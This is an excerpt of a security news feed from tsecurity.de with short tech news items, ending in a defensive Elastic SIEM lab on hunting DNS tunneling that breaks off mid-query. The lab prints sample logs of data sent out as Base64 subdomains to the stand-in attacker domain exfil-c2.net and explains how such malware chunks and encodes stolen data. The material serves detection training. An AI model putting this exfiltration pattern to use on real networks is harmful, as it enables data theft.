<description><![CDATA[Meeting ‘my people’ – video gamers with very long memories – took me back to an era of machine play that lacked megabytes but had far more tangible presenceI want to tell you about the game that has made me the happiest this month. It’s a game I didn’t complete. It’s a game I didn’t even start. I...]]></description>
<link>https://tsecurity.de/de/3479949/it-nachrichten/i-touched-a-zx-spectrum-for-the-first-time-in-decades-and-i-liked-it-dominik-diamond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3479949/it-nachrichten/i-touched-a-zx-spectrum-for-the-first-time-in-decades-and-i-liked-it-dominik-diamond/</guid>
<pubDate>Fri, 01 May 2026 11:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meeting ‘my people’ – video gamers with very long memories – took me back to an era of machine play that lacked megabytes but had far more tangible presence</p><p>I want to tell you about the game that has made me the happiest this month. It’s a game I didn’t complete. It’s a game I didn’t even start. I just held it. And smiled. I have played the game before, but not for many years. Forty of them to be precise.</p><p>The game is Daley Thompson’s Super Test for the ZX Spectrum.</p> <a href="https://www.theguardian.com/games/2026/may/01/zx-spectrum-retro-games-dominik-diamond">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zed team releases version 1.0 of Rust-built editor: Traditional editor and AI tool]]></title>
<description><![CDATA[Team wins praise for adding 'disable all AI features' setting for devs who want a code editor to be only a code editor The Rust-built Zed editor has reached version 1.0, released yesterday, with development led by former members of the Atom team at GitHub.…]]></description>
<link>https://tsecurity.de/de/3478342/it-nachrichten/zed-team-releases-version-10-of-rust-built-editor-traditional-editor-and-ai-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3478342/it-nachrichten/zed-team-releases-version-10-of-rust-built-editor-traditional-editor-and-ai-tool/</guid>
<pubDate>Thu, 30 Apr 2026 18:31:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Team wins praise for adding 'disable all AI features' setting for devs who want a code editor to be only a code editor</h4> <p>The Rust-built Zed editor has reached version 1.0, released yesterday, with development led by former members of the Atom team at GitHub.…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA["This was detrimental to Halo Infinite's post-release development": New Halo report reveals just how destructive "mass culling" Microsoft layoffs were at Halo Studios]]></title>
<description><![CDATA[A new Halo report alleges that Halo Infinite devs were burdened by "double the responsibilities and duties" following Microsoft's early 2023 layoffs.]]></description>
<link>https://tsecurity.de/de/3475858/windows-tipps/this-was-detrimental-to-halo-infinites-post-release-development-new-halo-report-reveals-just-how-destructive-mass-culling-microsoft-layoffs-were-at-halo-studios/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475858/windows-tipps/this-was-detrimental-to-halo-infinites-post-release-development-new-halo-report-reveals-just-how-destructive-mass-culling-microsoft-layoffs-were-at-halo-studios/</guid>
<pubDate>Wed, 29 Apr 2026 23:39:25 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new Halo report alleges that Halo Infinite devs were burdened by "double the responsibilities and duties" following Microsoft's early 2023 layoffs.]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub says sorry and vows to do better as uptime slips and devs complain]]></title>
<description><![CDATA[After Hashicorp co-founder blasts the source shack and numbers slide Microsoft's code hosting shack Github has published a lengthy mea culpa about its availability and reliability woes - one that includes the words "we are sorry."…]]></description>
<link>https://tsecurity.de/de/3474165/it-nachrichten/github-says-sorry-and-vows-to-do-better-as-uptime-slips-and-devs-complain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3474165/it-nachrichten/github-says-sorry-and-vows-to-do-better-as-uptime-slips-and-devs-complain/</guid>
<pubDate>Wed, 29 Apr 2026 13:01:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>After Hashicorp co-founder blasts the source shack and numbers slide</h4> <p>Microsoft's code hosting shack Github has published a lengthy mea culpa about its availability and reliability woes - one that includes the words "we are sorry."…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why it’s so hard to create stand-alone Python apps]]></title>
<description><![CDATA[If Python developers have one consistent gripe about their beloved language, it tends to be this: Why is it so hard to take a Python program and deploy it as a standalone artifact, the way C, C++, Rust, Go, and even Java can be deployed? Are we stuck with requiring everyone to install the Python ...]]></description>
<link>https://tsecurity.de/de/3473944/ai-nachrichten/why-its-so-hard-to-create-stand-alone-python-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3473944/ai-nachrichten/why-its-so-hard-to-create-stand-alone-python-apps/</guid>
<pubDate>Wed, 29 Apr 2026 11:47:52 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>If <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> developers have one consistent gripe about their beloved language, it tends to be this: Why is it so hard to take a Python program and deploy it as a standalone artifact, the way <a href="https://www.infoworld.com/article/2261151/why-the-c-programming-language-still-rules.html">C</a>, <a href="https://www.infoworld.com/c-plus-plus/" data-type="link" data-id="https://www.infoworld.com/c-plus-plus/">C++</a>, <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html" data-type="link" data-id="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and even <a href="https://www.infoworld.com/article/2335996/9-reasons-java-is-still-great.html">Java</a> can be deployed? Are we stuck with requiring everyone to install the Python runtime first before they can use a Python program? And why are all the workarounds for this problem so clunky?</p>



<p>One of the features that makes Python so appealing — its <em>dynamism</em> — is also the reason Python apps are so difficult to bundle and deploy. Not <em>impossible</em>, but challenging. Bundled Python apps end up being big packages, never less than a dozen megabytes or more. Plus, the tools for creating those bundles aren’t the friendliest or most convenient.</p>



<p>So what is it about Python’s dynamism that’s reponsible for this?</p>



<h2 class="wp-block-heading">The pleasures and perils of Python’s dynamism</h2>



<p>When we talk about Python as a “dynamic” language, that means more than the fact that Python apps are executed with an interpreter. It also means that many decisions about the behaviors of Python apps are made at <em>run time</em>, and not ahead of time.</p>



<p>Many of Python’s conveniences come from this design choice. Variables don’t have to be declared in advance, and they are automatically garbage-collected when no longer in use. Imports can be declared ahead of time, but they can also be generated at run time — and theoretically they can import code from anywhere. Python code can even be generated and interpreted at run time.</p>



<p>These flexible behaviors all come at a cost: it’s hard to predict what a Python program may do at run time. One of the factors that make it so difficult is that the code in a Python program can theoretically be changed by other code. A library can be imported, have methods overridden, even have its bytecode altered. It’s hard to optimize Python for high performance because so many optimizations rely on knowing what the code will do ahead of time (although the <a href="https://www.infoworld.com/article/4110565/get-started-with-pythons-new-native-jit.html">new JIT</a> and other changes are helping with that).</p>



<p>Two big consequences arise from all this:</p>



<ol class="wp-block-list">
<li>The most reliable way to run a Python program is through an instance of the Python runtime, so that all of Python’s dynamic behaviors can be recreated. Any solution that turns a Python app into some kind of redistributable package must include the runtime in some form. And any solution that would include “just enough” of the Python runtime to run that program would break promises about Python’s dynamism.</li>



<li>It’s difficult to package a Python app for standalone use because it’s difficult to predict which Python capabilities the app will need at runtime. Not <em>impossible</em>, but difficult enough that it’s far from trivial. It also means that any third-party libraries the app requires must be bundled with the app in their entirety.</li>
</ol>



<h2 class="wp-block-heading">Third-party libraries: All or nothing</h2>



<p>Python apps require very clear declarations of which libraries they need to run, via <code>pyproject.toml</code> or <code>requirements.txt</code>. What’s more, Python’s dynamism means you can’t make any assumptions about which parts of those libraries are actually used.</p>



<p>In the world of C++ or Rust, you can compile statically-linked binaries that omit any code that isn’t called from within your program. Python libraries <em>can’t</em> work this way; <em>any</em> part of the library could be called by <em>any</em> code at <em>any</em> time. Therefore the entire library — including all of its own dependencies, like binaries — must be included.</p>



<p>Thus any attempt to package a Python app as a standalone executable must include <em>all</em> of its dependencies. The result can be quite a large package — large enough to be off-putting to those who don’t want to deliver, say, a 300MB artifact to their users. But Python’s dynamism requires including everything.</p>



<p>In theory you could trace the call path of a Python program and “tree-shake” it — remove everything that never gets called. But that would work only for <em>that particular run of the program</em>. Guaranteeing this would work for <em>any</em> run of the program, including those where Python’s dynamism gets exploited, is all but impossible.</p>



<h2 class="wp-block-heading">The only workable solution: A total package</h2>



<p>All of these issues mean we have only a few ways to deploy a Python program reliably:</p>



<ul class="wp-block-list">
<li><strong>Install it into an existing Python interpreter.</strong> This is the most common scenario, but it requires setting up a copy of the interpreter. At best, this means an entirely separate step, one fraught with complexity if Python versions already exist on the system. This is also the scenario people want to avoid in the first place, because they want to make their app as easy to redistibute as possible.</li>



<li><strong>Bundle the interpreter with the program and its dependencies.</strong> This is the approach taken by projects like <a href="https://www.infoworld.com/article/2258008/how-to-use-pyinstaller-to-create-python-executables.html">PyInstaller</a> and <a href="https://www.infoworld.com/article/2336736/intro-to-nuitka-a-better-way-to-compile-and-distribute-python-applications.html">Nuitka</a>. The downsides are that the deliverables tend to be quite large, and creating them requires learning the quirks of these projects. But they do work. </li>



<li><strong>Use a system like Docker to bundle the program.</strong> Docker containers introduce their own world of trade-offs. On the one hand, you get absolutely everything you need to run the program, including any system-level dependencies. On the other hand, the resulting container can be positively hefty. And, of course, using Docker means adopting an additional software ecosystem.</li>
</ul>



<p>Some of the newer solutions to the problem try to solve one particular pain point or another, as a way to make the whole issue less unpalatable. For instance, <a href="https://www.infoworld.com/article/4030697/pyapp-an-easy-way-to-package-python-apps-as-executables.html">PyApp</a> uses <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> to build a self-extracting binary that installs the needed Python distribution, your app, and all its dependencies. It has two big drawbacks: you need the Rust compiler to build it for your project, and your project must be an installable package that uses the <code>pyproject.toml</code> standard. The first of these requirements is likely to be the larger hurdle; most Python projects need a <code>pyproject.toml</code> of some kind at this point.</p>



<p>Another solution is one I wrote myself: <a href="https://github.com/syegulalp/pydeploy"><code>pydeploy</code></a>. It also requires the project in question be installable  via <code>pip install</code>. Otherwise, <code>pydeploy</code> needs nothing more than Python’s standard library to generate a self-contained deliverable with the Python runtime included. Its big drawback right now is that it only works for Microsoft Windows, but in theory it could work on any operating system.</p>



<h2 class="wp-block-heading">Maybe someday</h2>



<p>All the recent major changes being proposed for Python, such as <a href="https://www.infoworld.com/article/4110565/get-started-with-pythons-new-native-jit.html" data-type="link" data-id="https://www.infoworld.com/article/4110565/get-started-with-pythons-new-native-jit.html">the new native JIT</a> and <a href="https://www.infoworld.com/article/3552750/get-started-with-the-free-threaded-build-of-python-3-13.html">full concurrency or multithreading</a>, are meant to enhance Python’s behavior as a dynamic language. Any proposals designed to change that dynamism essentially would mean creating a new language with different expectations about its behavior.</p>



<p>While there have been attempts to launch variants of Python that address one limitation or another (e.g., <a href="https://www.infoworld.com/article/4081105/revisiting-mojo-a-faster-python.html">Mojo</a>), the original Python language, for all its limits, remains a massive center of gravity. As the language continues to develop, there’s always the chance we’ll someday see a “blessed”, Python-native solution to the problem of distributing standalone Python apps. In the meantime, the solutions we have may be less than elegant, but at least we have solutions. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Detect DNS Tunneling with Elastic SIEM: SOC Analyst Hands-On Lab | Hunt Forward Lab #003]]></title>
<description><![CDATA[🔬 Difficulty: Intermediate — Estimated Time: 75–90 minutes | Threat Hunting for Data Exfiltration over DNS | MITRE ATT&CK T1071.004Get Elastic SIEM Access on hunt-forward.com — 7-day free trial, then $5/monthHow to use this lab: Read the story to understand the attack. Then follow the Hunt sectio...]]></description>
<link>https://tsecurity.de/de/3473292/hacking/how-to-detect-dns-tunneling-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-003/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3473292/hacking/how-to-detect-dns-tunneling-with-elastic-siem-soc-analyst-hands-on-lab-hunt-forward-lab-003/</guid>
<pubDate>Wed, 29 Apr 2026 07:22:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>🔬 Difficulty: Intermediate — Estimated Time: 75–90 minutes | <em>Threat Hunting for Data Exfiltration over DNS | MITRE ATT&amp;CK T1071.004</em></p><p>Get Elastic SIEM Access on <a href="http://hunt-forward.com/">hunt-forward.com</a> — 7-day free trial, then $5/month</p><blockquote><strong><em>How to use this lab:</em></strong><em> Read the story to understand the attack. Then follow the Hunt section to find it yourself in Elastic SIEM. Document your findings in your </em><strong><em>Hunt Notebook</em></strong><em> as you go — you’ll use them to build your GitHub portfolio at the end.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjlXx8TxSStESVeezaBd_A.png"></figure><h3>📖 Part 1: The Scenario</h3><blockquote>Wednesday, 9:14 AM. Boston.</blockquote><p><strong>Alex Chen</strong> is four months in. Dana drops a ticket on his desk without sitting down — <em>“Anomaly flag on DNS. Probably nothing. Take a look.”</em></p><p>He opens the DNS logs. The firm handles M&amp;A cases worth hundreds of millions. Their firewall blocks everything except HTTPS and DNS. The partners are proud of it.</p><pre>10:00:01  WORKSTATION-07  A  d2h5aXMtdGhpcy1hLWxvbmctc3Vic2RvbWFpbg.exfil-c2.net<br>10:00:03  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMQ.exfil-c2.net<br>10:00:05  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMg.exfil-c2.net<br>10:00:07  WORKSTATION-07  A  Y2xpZW50LWRhdGEtY2h1bmstMw.exfil-c2.net</pre><p>He decodes the first subdomain in CyberChef. <em>why-is-this-a-long-subdomain.</em> The next: <em>client-data-chunk-1.</em></p><p>His hands go cold.</p><p>DNS queries carry names, not data — but nobody filters them because blocking DNS breaks the internet. Attackers encode data inside subdomains and fire them at an attacker-controlled nameserver that logs every query. WORKSTATION-07 has been doing this for six days at 200+ queries per hour. The attacker's domain, exfil-c2.net, is twelve days old. The Veridian acquisition — $2.4 billion, closing Friday — belongs to the paralegal on that machine.</p><p>The firewall blocked everything. The data left anyway.</p><p>Now it’s your turn to find it.</p><h3>How DNS Tunneling Works — Simply Explained</h3><p>Before you hunt, you need to understand what you’re looking at. Let’s build this up from scratch.</p><p><strong>Step 1: What is DNS?</strong></p><p>Every time you type google.com into a browser, your computer asks a question behind the scenes: <em>"What is the IP address for google.com?"</em> A DNS server answers: <em>"It's 142.250.80.46."</em> Your browser then connects to that IP.</p><p>That question-and-answer is a <strong>DNS query</strong>. It happens thousands of times a day on any corporate network — every website visit, every software update, every cloud service call triggers one. It’s so fundamental to how the internet works that blocking it would break everything. Firewalls almost never inspect or block DNS.</p><p>Attackers know this.</p><p><strong>Step 2: What is a subdomain?</strong></p><p>A domain like google.com can have subdomains in front of it — mail.google.com, drive.google.com, docs.google.com. The part before the main domain is the subdomain. Your computer asks: <em>"What is the IP for mail.google.com?"</em> — and the DNS server answers.</p><p>Here’s the key insight: <strong>the subdomain is just text. It can be anything.</strong></p><p><strong>Step 3: How the tunnel works</strong></p><p>An attacker installs malware on a victim’s machine. Instead of sending stolen data directly over the network — which the firewall would see and might block — the malware breaks the data into small chunks, encodes each chunk into a string of characters, and uses each chunk as the subdomain of a DNS query:</p><pre>Normal DNS query:<br>  "What is mail.google.com?"<br>  → Asking for an email server. Makes sense.</pre><pre>Tunnel DNS query:<br>  "What is Y2xpZW50LWRhdGEtY2h1bmstMQ.exfil-c2.net?"<br>  → That random-looking subdomain? Decoded: "client-data-chunk-1"<br>  → It's not asking for an IP. It's sending stolen data disguised as a question.</pre><p>The attacker owns exfil-c2.net. Their nameserver receives every query and logs the subdomain — collecting the stolen data one chunk at a time. The malware doesn't care what IP address comes back. The response is irrelevant. The query itself is the transmission.</p><p><strong>Step 4: Why the firewall misses it</strong></p><pre>┌─────────────────────────────────────────────────────────────────────────────┐<br>│  What the firewall sees:   DNS traffic → ALLOWED (DNS always passes)         │<br>│  What's actually in it:    Stolen legal documents, encoded as Base64         │<br>│                                                                               │<br>│  The firewall isn't broken. It's doing exactly what it was configured to do. │<br>│  DNS tunneling abuses trust — not a vulnerability.                           │<br>└─────────────────────────────────────────────────────────────────────────────┘</pre><p>Think of it like this: imagine a building where guards check every package that leaves — but they always wave through anyone just <em>asking a question</em>. A thief learns to hide documents inside the questions themselves. <em>“Excuse me, does aGVyZS1pcy10aGUtZmlsZS1jb250ZW50 work here?”</em> The guard hears a question and waves them through. The thief has just walked out with your data.</p><p><strong>Step 5: Why it leaves tracks</strong></p><p>DNS tunnelling can’t hide one thing: its behaviour. Because the malware must send hundreds of queries to transmit a full file, and because each query carries encoded data instead of a real hostname, the pattern is statistically abnormal:</p><ul><li>Real hostnames are <strong>short and readable</strong> — mail, cdn, api, s3</li><li>Encoded data subdomains are <strong>long and random-looking</strong> — Y2xpZW50LWRhdGEtY2h1bmstMQ</li><li>Real apps query <strong>many different domains</strong> throughout the day</li><li>A tunnel queries <strong>one parent domain</strong> over and over, hundreds of times per hour</li></ul><p>None of that is a signature. No antivirus rule catches it. But an analyst with the right ES|QL query can spot it in seconds.</p><p>That’s exactly what you’re about to do.</p><h3>🎯 Part 2: Your Mission</h3><p>By the end of this lab you will have:</p><ul><li>✅ Identified anomalously long DNS subdomains indicating data encoding</li><li>✅ Detected high-frequency queries to a single suspicious parent domain</li><li>✅ Measured subdomain entropy to distinguish encoded data from legitimate hostnames</li><li>✅ Correlated the tunnel to a specific host and user</li><li>✅ Estimated the volume of data exfiltrated through the tunnel</li><li>✅ Documented your full investigation in your Hunt Notebook</li></ul><h3>🔧 Part 3: Lab Setup</h3><p><strong>You’ll need a Hunt Forward account for this lab.</strong> Your Elastic SIEM environment has the dns-tunnel-lab-logs dataset pre-loaded — DNS query logs spanning a full week, with tunnelling activity buried in legitimate corporate DNS traffic.</p><p>👉 <a href="http://hunt-forward.com/"><strong>Sign up at huntforward.com</strong></a> — 7-day free trial, then $5/month</p><p>Once you’re in <a href="https://soc-c60cc3.kb.us-central1.gcp.elastic.cloud/s/student-view/app/r/s/2Zzvh"><strong>Click Here</strong></a><strong> </strong>or :</p><ol><li>Open Kibana → <strong>hamburger menu</strong> (top left) → <strong>Discover</strong></li><li>Select the index <strong>dns-tunnel-lab-logs</strong></li><li>Set the time range to <strong>April 20–26, 2024</strong> — the tunnel runs across multiple days</li></ol><p>You should see DNS query logs with fields for source host, query name, query type, response code, and timestamps. That’s your crime scene.</p><h3>A Quick Word on ES|QL</h3><p>Throughout this lab we use <strong>ES|QL</strong> — Elasticsearch Query Language — instead of clicking through visualisation menus. ES|QL lets you filter, group, count, and calculate statistics on your logs in a single query, directly in Discover.</p><p>Every ES|QL query starts with FROM and pipes data through commands using |. Think of each | as "then do this next thing to the results."</p><p><strong>To run ES|QL in Kibana:</strong></p><ol><li>Select <strong>ES|QL on the top right corner next to share button in discover.</strong></li><li>Paste the query and press <strong>Run</strong> (▶)</li></ol><h3>🔍 Part 4: The Hunt</h3><h3>Hunt 1 — Find Abnormally Long Subdomains</h3><p>The first and most reliable DNS tunnelling signal is <strong>subdomain length</strong>. Legitimate hostnames are designed to be human-readable — mail.hargrove-lyle.com, cdn.slack.com, s3.us-east-1.amazonaws.com. Even the longest legitimate subdomains rarely exceed 30–35 characters. Base64-encoded data chunks routinely hit 50–63 characters (the DNS spec maximum per label).</p><p>The dataset already has dns.question.subdomain as a pre-parsed field — the part of the query name before the registered domain. We use EVAL to measure its length, then aggregate by host and parent domain to find anomalies:</p><p>esql</p><p><strong>What each line does:</strong></p><ul><li>WHERE dns.question.type == "A" — only A record lookups, the most common tunnel carrier</li><li>AND dns.question.subdomain IS NOT NULL — skip queries with no subdomain (bare domain lookups like google.com)</li><li>EVAL subdomain_length = LENGTH(dns.question.subdomain) — measures the character count of the subdomain portion only</li><li>STATS AVG/MAX/COUNT BY source.ip, host.name, registered_domain — groups by attacking host and target domain, producing one row per combination with its length statistics</li><li>WHERE avg_subdomain_len &gt; 30 — filters to domains where the average subdomain is suspiciously long. Legitimate domains cluster at 8–15 characters</li><li>SORT avg_subdomain_len DESC — worst offender at the top</li></ul><p><strong>What you’re looking for:</strong> One registered domain where the average subdomain length sits far above everything else. In the dataset, exfil-c2.net from WORKSTATION-07 will average over 50 characters — more than 4x the next highest legitimate entry.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the source IP, hostname, registered domain, average subdomain length, maximum subdomain length, and query count. Note the gap between the top result and all others — that delta is your confidence level.</em></blockquote><blockquote><em>✅ </em><strong><em>Anomalous subdomain lengths confirmed.</em></strong><em> One host is generating DNS queries with subdomains averaging 54 characters — 4x the legitimate baseline.</em></blockquote><blockquote><em>🏁 </em><strong><em>Milestone 1 of 4 — Long Subdomain Anomaly Identified</em></strong><em> Open your </em><strong><em>Hunt Notebook</em></strong><em> and paste this template. Fill in your findings.</em></blockquote><pre>## 📡 Milestone 1: Abnormal Subdomain Length Detected<br><br>**Date of Hunt:** [today's date]<br>**Lab:** Hunt Forward #003 — DNS Tunneling Detection<br>**Analyst:** [your name]<br><br>### Finding<br>DNS queries from a single host show average subdomain lengths far exceeding<br>the legitimate baseline, consistent with Base64-encoded data exfiltration.<br><br>| Field                | Value          |<br>|----------------------|----------------|<br>| Source IP            | [your finding] |<br>| Parent domain        | [your finding] |<br>| Avg subdomain length | [your finding] |<br>| Max subdomain length | [your finding] |<br>| Total query count    | [your finding] |<br>| Legitimate baseline  | 12–15 chars    |<br><br>### ES|QL Query Used<br>```esql<br>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.type == "A"<br>  AND dns.question.subdomain IS NOT NULL<br>| EVAL subdomain_length = LENGTH(dns.question.subdomain)<br>| WHERE subdomain_length &gt; 0<br>| STATS<br>    avg_subdomain_len = AVG(subdomain_length),<br>    max_subdomain_len = MAX(subdomain_length),<br>    query_count       = COUNT()<br>    BY source.ip, host.name, dns.question.registered_domain<br>| WHERE avg_subdomain_len &gt; 30<br>| SORT avg_subdomain_len DESC<br>| LIMIT 20</pre><blockquote><strong>Notes</strong></blockquote><blockquote><em>Legitimate DNS subdomains average 12–15 characters. Values above 30 indicate probable encoding. Values above 50 are near-certain data tunnelling.</em></blockquote><blockquote><strong><em>Severity:</em></strong><em> High </em><strong><em>Confidence:</em></strong><em> High</em></blockquote><h3>Hunt 2 — Detect High-Frequency Queries to a Single Domain</h3><p>Length analysis finds <em>what</em> looks suspicious. Frequency analysis finds <em>how much</em> data is moving. A DNS tunnel exfiltrating a large file must send hundreds or thousands of queries — one chunk per query. That sustained high-rate querying of a single domain is statistically unmistakable.</p><pre>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.type == "A"<br>| EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp)<br>| STATS<br>    queries_per_hour  = COUNT(),<br>    unique_subdomains = COUNT_DISTINCT(dns.question.name),<br>    first_seen        = MIN(@timestamp),<br>    last_seen         = MAX(@timestamp),<br>    active_days       = COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp))<br>    BY source.ip, dns.question.registered_domain, hour_bucket<br>| WHERE queries_per_hour &gt; 50<br>| SORT queries_per_hour DESC<br>| LIMIT 20</pre><p><strong>What each line does:</strong></p><ul><li>EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp) — groups time into 1-hour windows so we can measure query rate per hour</li><li>STATS COUNT(), COUNT_DISTINCT(dns.question.name) — total queries AND unique subdomains per window. In a tunnel, every query has a unique subdomain (a new data chunk). unique_subdomains ≈ queries_per_hour is a strong tunnel indicator</li><li>COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp)) — how many calendar days this pattern has been running — dwell time</li><li>WHERE queries_per_hour &gt; 50 — 50+ A record queries per hour to the same registered domain is well above normal application behaviour</li><li>SORT queries_per_hour DESC — peak tunnel activity windows rise to the top</li></ul><p><strong>What you’re looking for:</strong> One source IP querying one parent domain at 100+ queries per hour, with unique_subdomains nearly equal to queries_per_hour (meaning every query carries different data), across multiple days.</p><p>In the dataset, WORKSTATION-07 has been querying exfil-c2.net at over 200 queries per hour, sustained across 6 days. Every subdomain is unique.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the peak queries-per-hour, the ratio of unique subdomains to total queries (should be near 1:1 for a tunnel), </em><em>first_seen, </em><em>last_seen, and </em><em>active_days. Calculate total query count across the full tunnel duration.</em></blockquote><blockquote><em>🏁 </em><strong><em>Milestone 2 of 4 — High-Frequency Tunnel Activity Confirmed</em></strong></blockquote><pre>## 🌊 Milestone 2: High-Frequency DNS Query Pattern<br><br>### Frequency Analysis<br>| Field                     | Value          |<br>|---------------------------|----------------|<br>| Source IP                 | [your finding] |<br>| Parent domain             | [your finding] |<br>| Peak queries/hour         | [your finding] |<br>| Unique subdomains / total | [your finding] |<br>| First seen                | [timestamp]    |<br>| Last seen                 | [timestamp]    |<br>| Active days               | [your finding] |<br><br>### ES|QL Query Used<br>```esql<br>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.type == "A"<br>| EVAL hour_bucket = DATE_TRUNC(1 hour, @timestamp)<br>| STATS<br>    queries_per_hour  = COUNT(),<br>    unique_subdomains = COUNT_DISTINCT(dns.question.name),<br>    first_seen        = MIN(@timestamp),<br>    last_seen         = MAX(@timestamp),<br>    active_days       = COUNT_DISTINCT(DATE_TRUNC(1 day, @timestamp))<br>    BY source.ip, dns.question.registered_domain, hour_bucket<br>| WHERE queries_per_hour &gt; 50<br>| SORT queries_per_hour DESC<br>| LIMIT 20</pre><blockquote><strong>Conclusion</strong></blockquote><blockquote><em>Unique subdomain ratio near 1:1 confirms every query carries a different data chunk. [X] active days of tunnelling represents significant dwell time and substantial data volume.</em></blockquote><blockquote><strong><em>Severity:</em></strong><em> Critical </em><strong><em>Confidence:</em></strong><em> High</em></blockquote><h3>Hunt 3 — Correlate to Host and User, Estimate Exfiltration Volume</h3><p>Knowing the technique and the domain isn’t enough. You need to know <em>who</em> and <em>how much</em>. This hunt pins the tunnel to a specific workstation and user, then estimates total bytes exfiltrated by treating each subdomain as a data chunk</p><pre>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.registered_domain == "exfil-c2.net"<br>  AND dns.question.type == "A"<br>| EVAL subdomain        = LEFT(dns.question.name,<br>                            LENGTH(dns.question.name) - LENGTH("exfil-c2.net") - 1)<br>| EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8<br>| STATS<br>    total_queries         = COUNT(),<br>    unique_chunks         = COUNT_DISTINCT(dns.question.name),<br>    estimated_bytes_exfil = SUM(chunk_size_bytes),<br>    first_query           = MIN(@timestamp),<br>    last_query            = MAX(@timestamp)<br>    BY source.ip, host.name, user.name<br>| EVAL estimated_kb = ROUND(estimated_bytes_exfil / 1024, 1)<br>| EVAL estimated_mb = ROUND(estimated_bytes_exfil / 1048576, 2)<br>| SORT estimated_bytes_exfil DESC</pre><p><strong>What each line does:</strong></p><ul><li>WHERE dns.question.registered_domain == "exfil-c2.net" — scoped to the confirmed malicious domain from Hunt 1 and 2</li><li>EVAL chunk_size_bytes = LENGTH(subdomain) * 6 / 8 — Base64 encodes 6 bits per character, so each character represents 6/8 of a byte. This formula estimates the raw bytes encoded in each subdomain label</li><li>STATS SUM(chunk_size_bytes) — sums estimated bytes across all queries to get total exfiltration volume</li><li>BY source.ip, host.name, user.name — groups by all three identity fields so we see exactly who this is</li><li>EVAL estimated_kb/mb — converts raw bytes to human-readable KB and MB using ROUND for clean output</li><li>SORT estimated_bytes_exfil DESC — largest exfiltration volume first</li></ul><p><strong>What you’re looking for:</strong> A single row tying the tunnel to one workstation and one user, with an estimated exfiltration volume in the megabytes. In the dataset, WORKSTATION-07 / ryan.porter will show an estimated 4–6MB exfiltrated — consistent with multiple case documents.</p><blockquote><em>📝 </em><strong><em>Hunt Notebook checkpoint:</em></strong><em> Record the hostname, username, total query count, unique chunk count, estimated KB and MB exfiltrated, and the full tunnel date range. This is your user attribution and scope estimate.</em></blockquote><blockquote><em>✅ </em><strong><em>Tunnel attributed.</em></strong><em> </em><em>ryan.porter on </em><em>WORKSTATION-07 exfiltrated an estimated [X] MB via DNS tunnel to </em><em>exfil-c2.net over 6 days</em></blockquote><blockquote><em>🏁 </em><strong><em>Milestone 3 of 4 — Host, User, and Volume Identified</em></strong></blockquote><pre>## 🎯 Milestone 3: Attribution and Exfiltration Scope<br><br>### Attribution<br>| Field                | Value          |<br>|----------------------|----------------|<br>| Source IP            | [your finding] |<br>| Hostname             | [your finding] |<br>| Username             | [your finding] |<br><br>### Exfiltration Volume Estimate<br>| Field                | Value          |<br>|----------------------|----------------|<br>| Total queries        | [your finding] |<br>| Unique chunks        | [your finding] |<br>| Estimated bytes      | [your finding] |<br>| Estimated KB         | [your finding] |<br>| Estimated MB         | [your finding] |<br>| Tunnel start         | [timestamp]    |<br>| Tunnel end           | [timestamp]    |<br>| Duration (days)      | [your finding] |<br><br>### ES|QL Query Used<br>```esql<br>FROM dns-tunnel-lab-logs<br>| WHERE dns.question.registered_domain == "exfil-c2.net"<br>  AND dns.question.type == "A"<br>| EVAL subdomain        = LEFT(dns.question.name,<br>                            LENGTH(dns.question.name) - 